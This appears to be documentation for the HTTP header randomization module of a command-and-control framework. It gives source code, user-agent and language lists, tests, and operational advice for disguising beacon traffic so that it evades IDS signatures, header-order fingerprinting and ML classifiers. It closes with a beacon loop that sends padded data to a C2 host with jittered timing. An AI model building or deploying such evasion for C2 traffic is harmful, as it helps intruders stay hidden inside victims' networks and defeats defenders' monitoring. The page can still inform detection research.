Skip to main content

Overview

HTTP header randomization implements polymorphic headers across four escalating levels, from fixed static headers to full randomization with shuffled ordering. This defeats signature-based detection systems that fingerprint C2 traffic by analyzing User-Agent strings and header combinations.

Why Header Randomization Matters

Security tools often flag C2 beacons by detecting static header signatures:
POST /api/beacon HTTP/1.1
Host: c2server.com
Content-Type: application/octet-stream
User-Agent: Python-urllib/3.11

⚠️ Python User-Agent from Windows host = suspicious
Headers are randomized per request. Each beacon call generates new randomized headers based on the configured level.

Randomization Levels

The framework provides four levels of header randomization:

Level 0: Static (Baseline)

Behavior: Fixed Chrome User-Agent, no randomization
# Source: evasion/header_randomizer.py:37-41
if level == 0:
    ua       = _CHROME_UA        # Fixed Chrome 122
    language = _DEFAULT_LANG     # Fixed en-US
    encoding = ACCEPT_ENCODINGS[0]  # Fixed gzip, deflate, br
    optional = _build_optional(ua, language, encoding)
Resulting Headers:
Host: c2server.com
Content-Type: application/octet-stream
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36
Accept-Language: en-US,en;q=0.9
Accept-Encoding: gzip, deflate, br
Accept: */*
Connection: keep-alive
Level 0 provides no evasion. Every request uses identical headers, creating a detectable fingerprint. Use only for testing.

Level 1: User-Agent Rotation

Behavior: Randomize User-Agent only, other headers fixed
# Source: evasion/header_randomizer.py:43-47
elif level == 1:
    ua       = random.choice(USER_AGENTS)  # Rotated
    language = _DEFAULT_LANG               # Fixed en-US
    encoding = ACCEPT_ENCODINGS[0]         # Fixed gzip, deflate, br
    optional = _build_optional(ua, language, encoding)
Available User-Agents (source: header_randomizer.py:5-10):
USER_AGENTS = [
    'Mozilla/5.0 (Windows NT 10.0; Win64; x64) ... Chrome/122.0.0.0 ...',
    'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) ... Firefox/123.0',
    'Mozilla/5.0 (Windows NT 10.0; Win64; x64) ... Edg/121.0.0.0',
    'Mozilla/5.0 (Macintosh; Intel Mac OS X 14_3) ... Safari/605.1.15',
]
Example Rotation:
Request 1: User-Agent: Mozilla/5.0 ... Chrome/122.0.0.0
Request 2: User-Agent: Mozilla/5.0 ... Firefox/123.0
Request 3: User-Agent: Mozilla/5.0 ... Edg/121.0.0.0
Request 4: User-Agent: Mozilla/5.0 ... Safari/605.1.15
Level 1 provides basic evasion against simple User-Agent fingerprinting while maintaining consistent other headers.

Level 2: User-Agent + Accept-Language

Behavior: Randomize UA and Accept-Language, encoding fixed
# Source: evasion/header_randomizer.py:49-53
elif level == 2:
    ua       = random.choice(USER_AGENTS)       # Rotated
    language = random.choice(ACCEPT_LANGUAGES)  # Rotated
    encoding = ACCEPT_ENCODINGS[0]              # Fixed gzip, deflate, br
    optional = _build_optional(ua, language, encoding)
Available Languages (source: header_randomizer.py:12-20):
ACCEPT_LANGUAGES = [
    'en-US,en;q=0.9',   # US English
    'en-GB,en;q=0.9',   # British English
    'fr-FR,fr;q=0.9,en;q=0.8',  # French
    'de-DE,de;q=0.9,en;q=0.8',  # German
    'ja-JP,ja;q=0.9,en;q=0.8',  # Japanese
    'zh-CN,zh;q=0.9,en;q=0.8',  # Chinese
    'pt-BR,pt;q=0.9,en;q=0.8',  # Brazilian Portuguese
]
Example Combinations:
Request 1:
  User-Agent: Mozilla/5.0 ... Chrome/122.0.0.0
  Accept-Language: en-US,en;q=0.9

Request 2:
  User-Agent: Mozilla/5.0 ... Firefox/123.0
  Accept-Language: ja-JP,ja;q=0.9,en;q=0.8

Request 3:
  User-Agent: Mozilla/5.0 ... Safari/605.1.15
  Accept-Language: de-DE,de;q=0.9,en;q=0.8

Level 3: Full Randomization + Shuffling

Behavior: Randomize all header values AND shuffle optional header order
# Source: evasion/header_randomizer.py:55-61
else:
    # Level 3 — randomise UA, language, encoding, and shuffle optional header order
    ua       = random.choice(USER_AGENTS)
    language = random.choice(ACCEPT_LANGUAGES)
    encoding = random.choice(ACCEPT_ENCODINGS)
    optional = _build_optional(ua, language, encoding)
    random.shuffle(optional)  # Shuffle order!
Available Encodings (source: header_randomizer.py:22-26):
ACCEPT_ENCODINGS = [
    'gzip, deflate, br',  # Modern browsers
    'gzip, deflate',      # Older browsers
    'br, gzip',           # Alternate preference
]
Example with Shuffling:
Request 1 (order A):
  Host: c2server.com
  Content-Type: application/octet-stream
  User-Agent: Mozilla/5.0 ... Firefox/123.0
  Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
  Accept-Encoding: gzip, deflate
  Accept: */*
  Connection: keep-alive

Request 2 (order B - shuffled):
  Host: c2server.com
  Content-Type: application/octet-stream
  Connection: keep-alive
  Accept: */*
  User-Agent: Mozilla/5.0 ... Safari/605.1.15
  Accept-Encoding: br, gzip
  Accept-Language: fr-FR,fr;q=0.9,en;q=0.8
Level 3 provides maximum polymorphism. Both header values AND ordering change per request, defeating advanced fingerprinting that analyzes header sequence.

Header Structure

Fixed Headers

These headers are never randomized or shuffled:
# Source: evasion/header_randomizer.py:64-76
host = config.SERVER_HOST
port = config.SERVER_PORT

# Include port if non-standard
if port not in (80, 443):
    host = f"{host}:{port}"

headers = {
    'Host':         host,         # Always first
    'Content-Type': 'application/octet-stream',  # Always second
}
headers.update(dict(optional))
return headers
Why Fixed?
  • Host: Required for HTTP/1.1, indicates target server
  • Content-Type: Identifies beacon payload format

Optional Headers

These headers are randomized and shuffled (Level 3):
# Source: evasion/header_randomizer.py:79-87
def _build_optional(ua: str, language: str, encoding: str) -> list[tuple[str, str]]:
    return [
        ('User-Agent',       ua),
        ('Accept-Language',  language),
        ('Accept-Encoding',  encoding),
        ('Accept',           '*/*'),
        ('Connection',       'keep-alive'),
    ]
Optional headers are returned as an ordered list of tuples to allow shuffling. Fixed headers are added afterward to preserve their position.

Level Comparison Table

FeatureLevel 0Level 1Level 2Level 3
User-AgentFixed ChromeRotated (4 options)Rotated (4 options)Rotated (4 options)
Accept-LanguageFixed en-USFixed en-USRotated (7 options)Rotated (7 options)
Accept-EncodingFixed gzipFixed gzipFixed gzipRotated (3 options)
Header OrderFixedFixedFixedShuffled
Total Combinations1428252
Detection Risk⚠️ High⚠️ Medium⚠️ Low-Medium✓ Low
Total Combinations = (User-Agents) × (Languages) × (Encodings) × (Orderings)Level 3: 4 × 7 × 3 × 3 = 252 unique header combinations

Implementation Details

Host Header Construction

Non-standard ports are included in the Host header:
host = config.SERVER_HOST  # e.g., "c2server.com"
port = config.SERVER_PORT  # e.g., 8443

if port not in (80, 443):
    host = f"{host}:{port}"  # "c2server.com:8443"
Examples:
HTTPS on 443 → Host: c2server.com
HTTP on 80   → Host: c2server.com
HTTPS on 8443 → Host: c2server.com:8443
HTTP on 8080  → Host: c2server.com:8080

Error Handling

# Source: evasion/header_randomizer.py:32-35
def get_headers(level: int) -> dict:
    if level not in (0, 1, 2, 3):
        raise ValueError(f'invalid header randomisation level: {level}')
Invalid levels are rejected with a clear error message.

Usage Examples

from evasion.header_randomizer import get_headers

# Get headers for level 2
headers = get_headers(level=2)

print(headers)
# {
#   'Host': 'c2server.com',
#   'Content-Type': 'application/octet-stream',
#   'User-Agent': 'Mozilla/5.0 ... Firefox/123.0',
#   'Accept-Language': 'ja-JP,ja;q=0.9,en;q=0.8',
#   'Accept-Encoding': 'gzip, deflate, br',
#   'Accept': '*/*',
#   'Connection': 'keep-alive'
# }

Browser User-Agent Details

The framework includes realistic browser signatures:
Mozilla/5.0 (Windows NT 10.0; Win64; x64) 
AppleWebKit/537.36 (KHTML, like Gecko) 
Chrome/122.0.0.0 Safari/537.36
Profile: Windows 10, 64-bit, Chromium-based
All User-Agents represent current browser versions (as of framework release). Update USER_AGENTS list periodically to maintain realistic signatures.

Testing Header Randomization

Rotation Verification

# Verify User-Agents rotate at level 1
uas_seen = set()
for _ in range(50):
    headers = get_headers(1)
    uas_seen.add(headers['User-Agent'])

print(f"Unique User-Agents: {len(uas_seen)}")
assert len(uas_seen) > 1, "Level 1 should rotate UA"

# Verify languages stay fixed at level 1
langs = [get_headers(1)['Accept-Language'] for _ in range(20)]
assert len(set(langs)) == 1, "Level 1 should have fixed language"

Order Shuffling Verification

# Verify Level 3 produces different header orders
orders_seen = set()
for _ in range(50):
    headers = get_headers(3)
    
    # Extract order of optional headers (skip Host and Content-Type)
    keys = list(headers.keys())
    optional_order = tuple(keys[2:])
    
    orders_seen.add(optional_order)

print(f"Unique orderings: {len(orders_seen)}")
assert len(orders_seen) > 1, "Level 3 should shuffle header order"

Fixed Header Position

# Verify Host and Content-Type always come first
for level in range(4):
    for _ in range(10):
        headers = get_headers(level)
        keys = list(headers.keys())
        
        assert keys[0] == 'Host', "Host must be first"
        assert keys[1] == 'Content-Type', "Content-Type must be second"

Operational Recommendations

Corporate Networks

Use Level 2 for realistic browser diversity without excessive varianceMimics multi-user environment naturally

High-Security Environments

Use Level 3 for maximum polymorphismDefeats advanced header fingerprinting and ML classifiers

Long-Running Operations

Level 3 prevents statistical correlationVaried headers across thousands of beacons avoid pattern detection

Bandwidth-Constrained

Header randomization has minimal overheadHeaders add ~200-400 bytes regardless of level
User-Agent Consistency: Some applications track User-Agent per session. If your target environment expects consistent UAs, use Level 0 or implement session-based UA pinning.

Detection Avoidance

Header randomization defeats multiple detection methods:

1. User-Agent Fingerprinting

Threat: Static “Python-requests” or non-browser UA flagged Mitigation: Rotate realistic browser User-Agents (Level 1+)

2. Header Combination Signatures

Threat: IDS rules detect specific header combinations Mitigation: Randomize multiple header values (Level 2+)

3. Header Order Fingerprinting

Threat: Advanced systems fingerprint header sequence Mitigation: Shuffle optional header order (Level 3)

4. Behavioral Analysis

Threat: ML models detect non-human header consistency Mitigation: Per-request randomization mimics diverse user base

Combining with Other Evasion

Header randomization is most effective when combined with:
from transport.traffic_profile import load_active_profile
from evasion.header_randomizer import get_headers
from evasion.padding_strat import pad
from evasion.sleep_strat import get_sleep_fn
import time

profile = load_active_profile()
sleep_fn = get_sleep_fn(profile.jitter_strategy)

while True:
    # 1. Randomize headers
    headers = get_headers(profile.header_level)
    
    # 2. Pad payload
    padded_payload = pad(beacon_data, profile.padding_min, profile.padding_max)
    
    # 3. Send with randomized headers
    send_beacon(padded_payload, headers)
    
    # 4. Sleep with jitter
    sleep_duration = sleep_fn(BEACON_INTERVAL_S, profile.jitter_pct)
    time.sleep(sleep_duration)

Traffic Profiles

Configure header level in profile YAML

Jitter Strategies

Combine with timing randomization

Evasion Overview

Complete evasion architecture

Build docs developers (and LLMs) love